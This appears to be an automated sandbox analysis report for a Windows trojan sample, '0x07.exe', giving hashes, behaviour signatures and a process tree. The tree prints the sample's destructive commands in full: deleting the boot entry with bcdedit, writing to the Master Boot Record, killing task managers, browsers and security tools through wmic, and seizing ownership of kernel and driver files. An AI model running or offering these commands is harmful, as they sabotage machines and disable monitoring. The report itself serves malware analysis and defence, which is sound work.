Overview
overview
10Static
static
7Trojan/+.exe
windows7-x64
1Trojan/+.exe
windows10-2004-x64
1Trojan/0.9...35.exe
windows7-x64
8Trojan/0.9...35.exe
windows10-2004-x64
8Trojan/000.exe
windows7-x64
Trojan/000.exe
windows10-2004-x64
Trojan/0x07.exe
windows7-x64
8Trojan/0x07.exe
windows10-2004-x64
8Trojan/0xc6666666.exe
windows7-x64
1Trojan/0xc6666666.exe
windows10-2004-x64
1Trojan/10r...er.exe
windows7-x64
6Trojan/10r...er.exe
windows10-2004-x64
6Trojan/10r...et.exe
windows7-x64
Trojan/10r...et.exe
windows10-2004-x64
Trojan/13r...er.exe
windows7-x64
Trojan/13r...er.exe
windows10-2004-x64
6Trojan/13r...et.exe
windows7-x64
3Trojan/13r...et.exe
windows10-2004-x64
7Trojan/2repair.exe
windows7-x64
Trojan/2repair.exe
windows10-2004-x64
Trojan/3PC.exe
windows7-x64
1Trojan/3PC.exe
windows10-2004-x64
1Trojan/4mm...sy.exe
windows7-x64
1Trojan/4mm...sy.exe
windows10-2004-x64
1Trojan/666.exe
windows7-x64
Trojan/666.exe
windows10-2004-x64
Trojan/666...sy.exe
windows7-x64
1Trojan/666...sy.exe
windows10-2004-x64
1Trojan/9re...er.exe
windows7-x64
Trojan/9re...er.exe
windows10-2004-x64
Trojan/9re...et.exe
windows7-x64
3Trojan/9re...et.exe
windows10-2004-x64
7Analysis
-
max time kernel
98s -
max time network
101s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
02-03-2024 23:32
Behavioral task
behavioral1
Sample
Trojan/+.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Trojan/+.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Trojan/0.950095298700035.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Trojan/0.950095298700035.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
Trojan/000.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
Trojan/000.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
Trojan/0x07.exe
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
Trojan/0x07.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
Trojan/0xc6666666.exe
Resource
win7-20240220-en
Behavioral task
behavioral10
Sample
Trojan/0xc6666666.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
Trojan/10reset/10reset-helper.exe
Resource
win7-20240221-en
Behavioral task
behavioral12
Sample
Trojan/10reset/10reset-helper.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral13
Sample
Trojan/10reset/10reset.exe
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
Trojan/10reset/10reset.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral15
Sample
Trojan/13reset/13reset-helper.exe
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
Trojan/13reset/13reset-helper.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral17
Sample
Trojan/13reset/13reset.exe
Resource
win7-20240221-en
Behavioral task
behavioral18
Sample
Trojan/13reset/13reset.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral19
Sample
Trojan/2repair.exe
Resource
win7-20240221-en
Behavioral task
behavioral20
Sample
Trojan/2repair.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral21
Sample
Trojan/3PC.exe
Resource
win7-20240221-en
Behavioral task
behavioral22
Sample
Trojan/3PC.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral23
Sample
Trojan/4mm psy/4mm psy.exe
Resource
win7-20240215-en
Behavioral task
behavioral24
Sample
Trojan/4mm psy/4mm psy.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral25
Sample
Trojan/666.exe
Resource
win7-20240221-en
Behavioral task
behavioral26
Sample
Trojan/666.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral27
Sample
Trojan/666mm psy/666mm psy.exe
Resource
win7-20240221-en
Behavioral task
behavioral28
Sample
Trojan/666mm psy/666mm psy.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral29
Sample
Trojan/9reset/9RESET-helper.exe
Resource
win7-20240215-en
Behavioral task
behavioral30
Sample
Trojan/9reset/9RESET-helper.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral31
Sample
Trojan/9reset/9reset.exe
Resource
win7-20240221-en
Behavioral task
behavioral32
Sample
Trojan/9reset/9reset.exe
Resource
win10v2004-20240226-en
General
-
Target
Trojan/0x07.exe
-
Size
247KB
-
MD5
733eb0ab951ae42a8d8cca413201e428
-
SHA1
640ffb3ee44eb86afaea92e6c5aa158a5d4aafd1
-
SHA256
52d6d769eb474d4138ac31e05634a6ca7a4ebef5920f8356c1cd70d9fa42c2fb
-
SHA512
c7cdf77aa881c5dbb2abf17913dbf645fe88e16fa11fa055392d36ccf936fc43050c48feb631e193fe044123a190f123d2d6ff12234c0ff7c8c7c6e290209d8f
-
SSDEEP
3072:xaWEHnqlm+0FEaJSq6+ouCpk2mpcWJ0r+QNTBfZnazJ9k3kxMC+89+aPyXiwQ9M1:cWCMm8aMldk1cWQRNTBhz3Yz/qc9M1
Malware Config
Signatures
-
Drops file in Drivers directory 1 IoCs
Processes:
cmd.exedescription ioc process File opened for modification C:\Windows\System32\drivers\rteth.sys cmd.exe -
Possible privilege escalation attempt 25 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exetakeown.exeicacls.exetakeown.exetakeown.exetakeown.exeicacls.exeicacls.exetakeown.exeicacls.exetakeown.exetakeown.exepid process 1220 icacls.exe 848 icacls.exe 2428 icacls.exe 1412 icacls.exe 1272 icacls.exe 1768 takeown.exe 3868 takeown.exe 4804 takeown.exe 1996 takeown.exe 3924 icacls.exe 4936 takeown.exe 3960 takeown.exe 2332 icacls.exe 3432 icacls.exe 5084 takeown.exe 2908 icacls.exe 2864 takeown.exe 1200 takeown.exe 2248 takeown.exe 1124 icacls.exe 1464 icacls.exe 1624 takeown.exe 3812 icacls.exe 2668 takeown.exe 3240 takeown.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
0x07.exewinconfig.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation 0x07.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation winconfig.exe -
Executes dropped EXE 2 IoCs
Processes:
winconfig.exeDetectKey.exepid process 1312 winconfig.exe 3452 DetectKey.exe -
Modifies file permissions 1 TTPs 25 IoCs
Processes:
icacls.exetakeown.exetakeown.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exeicacls.exetakeown.exetakeown.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exepid process 3812 icacls.exe 1624 takeown.exe 5084 takeown.exe 1996 takeown.exe 2332 icacls.exe 1412 icacls.exe 2908 icacls.exe 848 icacls.exe 3240 takeown.exe 4804 takeown.exe 1768 takeown.exe 1272 icacls.exe 2668 takeown.exe 4936 takeown.exe 2428 icacls.exe 1124 icacls.exe 1464 icacls.exe 2248 takeown.exe 2864 takeown.exe 3960 takeown.exe 1220 icacls.exe 3868 takeown.exe 1200 takeown.exe 3432 icacls.exe 3924 icacls.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 5060 bcdedit.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
0x07.exedescription ioc process File opened for modification \??\PhysicalDrive0 0x07.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
0x07.exepid process 4824 0x07.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WMIC.exeWMIC.exedescription pid process Token: SeIncreaseQuotaPrivilege 2352 WMIC.exe Token: SeSecurityPrivilege 2352 WMIC.exe Token: SeTakeOwnershipPrivilege 2352 WMIC.exe Token: SeLoadDriverPrivilege 2352 WMIC.exe Token: SeSystemProfilePrivilege 2352 WMIC.exe Token: SeSystemtimePrivilege 2352 WMIC.exe Token: SeProfSingleProcessPrivilege 2352 WMIC.exe Token: SeIncBasePriorityPrivilege 2352 WMIC.exe Token: SeCreatePagefilePrivilege 2352 WMIC.exe Token: SeBackupPrivilege 2352 WMIC.exe Token: SeRestorePrivilege 2352 WMIC.exe Token: SeShutdownPrivilege 2352 WMIC.exe Token: SeDebugPrivilege 2352 WMIC.exe Token: SeSystemEnvironmentPrivilege 2352 WMIC.exe Token: SeRemoteShutdownPrivilege 2352 WMIC.exe Token: SeUndockPrivilege 2352 WMIC.exe Token: SeManageVolumePrivilege 2352 WMIC.exe Token: 33 2352 WMIC.exe Token: 34 2352 WMIC.exe Token: 35 2352 WMIC.exe Token: 36 2352 WMIC.exe Token: SeIncreaseQuotaPrivilege 2352 WMIC.exe Token: SeSecurityPrivilege 2352 WMIC.exe Token: SeTakeOwnershipPrivilege 2352 WMIC.exe Token: SeLoadDriverPrivilege 2352 WMIC.exe Token: SeSystemProfilePrivilege 2352 WMIC.exe Token: SeSystemtimePrivilege 2352 WMIC.exe Token: SeProfSingleProcessPrivilege 2352 WMIC.exe Token: SeIncBasePriorityPrivilege 2352 WMIC.exe Token: SeCreatePagefilePrivilege 2352 WMIC.exe Token: SeBackupPrivilege 2352 WMIC.exe Token: SeRestorePrivilege 2352 WMIC.exe Token: SeShutdownPrivilege 2352 WMIC.exe Token: SeDebugPrivilege 2352 WMIC.exe Token: SeSystemEnvironmentPrivilege 2352 WMIC.exe Token: SeRemoteShutdownPrivilege 2352 WMIC.exe Token: SeUndockPrivilege 2352 WMIC.exe Token: SeManageVolumePrivilege 2352 WMIC.exe Token: 33 2352 WMIC.exe Token: 34 2352 WMIC.exe Token: 35 2352 WMIC.exe Token: 36 2352 WMIC.exe Token: SeIncreaseQuotaPrivilege 844 WMIC.exe Token: SeSecurityPrivilege 844 WMIC.exe Token: SeTakeOwnershipPrivilege 844 WMIC.exe Token: SeLoadDriverPrivilege 844 WMIC.exe Token: SeSystemProfilePrivilege 844 WMIC.exe Token: SeSystemtimePrivilege 844 WMIC.exe Token: SeProfSingleProcessPrivilege 844 WMIC.exe Token: SeIncBasePriorityPrivilege 844 WMIC.exe Token: SeCreatePagefilePrivilege 844 WMIC.exe Token: SeBackupPrivilege 844 WMIC.exe Token: SeRestorePrivilege 844 WMIC.exe Token: SeShutdownPrivilege 844 WMIC.exe Token: SeDebugPrivilege 844 WMIC.exe Token: SeSystemEnvironmentPrivilege 844 WMIC.exe Token: SeRemoteShutdownPrivilege 844 WMIC.exe Token: SeUndockPrivilege 844 WMIC.exe Token: SeManageVolumePrivilege 844 WMIC.exe Token: 33 844 WMIC.exe Token: 34 844 WMIC.exe Token: 35 844 WMIC.exe Token: 36 844 WMIC.exe Token: SeIncreaseQuotaPrivilege 844 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
0x07.exewinconfig.execmd.exedescription pid process target process PID 4824 wrote to memory of 1312 4824 0x07.exe winconfig.exe PID 4824 wrote to memory of 1312 4824 0x07.exe winconfig.exe PID 4824 wrote to memory of 1312 4824 0x07.exe winconfig.exe PID 1312 wrote to memory of 5068 1312 winconfig.exe cmd.exe PID 1312 wrote to memory of 5068 1312 winconfig.exe cmd.exe PID 5068 wrote to memory of 3452 5068 cmd.exe DetectKey.exe PID 5068 wrote to memory of 3452 5068 cmd.exe DetectKey.exe PID 5068 wrote to memory of 3452 5068 cmd.exe DetectKey.exe PID 5068 wrote to memory of 5060 5068 cmd.exe bcdedit.exe PID 5068 wrote to memory of 5060 5068 cmd.exe bcdedit.exe PID 5068 wrote to memory of 2352 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2352 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 844 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 844 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1416 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1416 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3936 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3936 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2808 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2808 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3988 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3988 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1564 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1564 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1356 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1356 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1940 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1940 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 552 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 552 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2992 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2992 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1440 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1440 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4652 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4652 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4444 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4444 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1232 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1232 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 856 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 856 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4184 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4184 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 460 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 460 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 784 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 784 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3928 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3928 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2184 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2184 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3844 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3844 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2160 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 2160 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1648 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 1648 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4164 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 4164 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3280 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3280 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3260 5068 cmd.exe WMIC.exe PID 5068 wrote to memory of 3260 5068 cmd.exe WMIC.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"1⤵
- Checks computer location settings
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\Temp\winconfig.exe"C:\Windows\Temp\winconfig.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9CCC.tmp\9CDD.tmp\9CDE.bat C:\Windows\Temp\winconfig.exe"3⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:5068 -
C:\Users\Admin\AppData\Roaming\DetectKey.exe"C:\Users\Admin\AppData\Roaming\DetectKey.exe"4⤵
- Executes dropped EXE
PID:3452
-
-
C:\Windows\system32\bcdedit.exebcdedit /delete {current}4⤵
- Modifies boot configuration data using bcdedit
PID:5060
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2352
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵
- Suspicious use of AdjustPrivilegeToken
PID:844
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='mmc.exe' delete /nointeractive4⤵PID:1416
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='PartAssist.exe' delete /nointeractive4⤵PID:3936
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='control.exe' delete /nointeractive4⤵PID:2808
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:3988
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='Security Task Manager.exe' delete /nointeractive4⤵PID:1564
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='Security Task Manager Protable.exe' delete /nointeractive4⤵PID:1356
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='CCleaner.exe' delete /nointeractive4⤵PID:1940
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='procexp.exe' delete /nointeractive4⤵PID:552
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='procexp64.exe' delete /nointeractive4⤵PID:2992
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='procexp64a.exe' delete /nointeractive4⤵PID:1440
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:4652
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='regedit.exe' delete /nointeractive4⤵PID:4444
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='iexplore.exe' delete /nointeractive4⤵PID:1232
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='chrome.exe' delete /nointeractive4⤵PID:856
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='firefox.exe' delete /nointeractive4⤵PID:4184
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='opera.exe' delete /nointeractive4⤵PID:460
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='edge.exe' delete /nointeractive4⤵PID:784
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='msedge.exe' delete /nointeractive4⤵PID:3928
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='brave.exe' delete /nointeractive4⤵PID:2184
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='wmplayer.exe' delete /nointeractive4⤵PID:3844
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='notepad.exe' delete /nointeractive4⤵PID:2160
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='notepad++.exe' delete /nointeractive4⤵PID:1648
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵PID:4164
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵PID:3280
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:3260
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:3568
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\taskmgr.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2248
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\hal.dll"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2668
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\winload.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3868
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\ntoskrnl.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3240
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\perfmon.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1200
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\resmon.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1624
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\logonui.exe4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2864
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\taskkill.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3960
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\tasklist.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4804
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\tskill.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4936
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\system32\logonui.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1768
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Program Files\Process Hacker 2"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5084
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\drivers"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1996
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵PID:4948
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵PID:560
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:336
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:3808
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2908
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\hal.dll" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1220
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\winload.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:848
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3812
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3432
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\logonui.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3924
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\resmon.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2428
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2332
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1124
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\system32\tskill.exe" /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1464
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1412
-
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1272
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='taskmgr.exe' delete /nointeractive4⤵PID:2352
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='perfmon.exe' delete /nointeractive4⤵PID:4052
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='logonui.exe' delete /nointeractive4⤵PID:2064
-
-
C:\Windows\System32\Wbem\WMIC.exewmic process where name='ProcessHacker.exe' delete /nointeractive4⤵PID:4000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:1812
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F4⤵PID:2504
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:3512
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\hal.dll" /grant "everyone":F4⤵PID:1160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:4612
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F4⤵PID:444
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:1044
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F4⤵PID:1020
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:3664
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\logonui.exe" /grant "everyone":F4⤵PID:3144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:3024
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\resmon.exe" /grant "everyone":F4⤵PID:3948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:552
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F4⤵PID:4844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:4328
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F4⤵PID:1724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:3088
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\system32\tskill.exe" /grant "everyone":F4⤵PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:4040
-
-
C:\Windows\system32\cacls.execacls "C:\Program Files\Process Hacker 2" /grant "everyone":F4⤵PID:4840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"4⤵PID:4188
-
-
C:\Windows\system32\cacls.execacls "C:\Windows\System32\drivers" /grant "everyone":F4⤵PID:4916
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5KB
MD5a645734f3bf4a2682cbaf546789ec0c4
SHA1fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA2563b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d
-
Filesize
87KB
MD5aba9a3cf4e1db4602c25405987b809a6
SHA16cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675
-
Filesize
139KB
MD511d457ee914f72a436fa4a8a8f8446dd
SHA1d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA5124c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b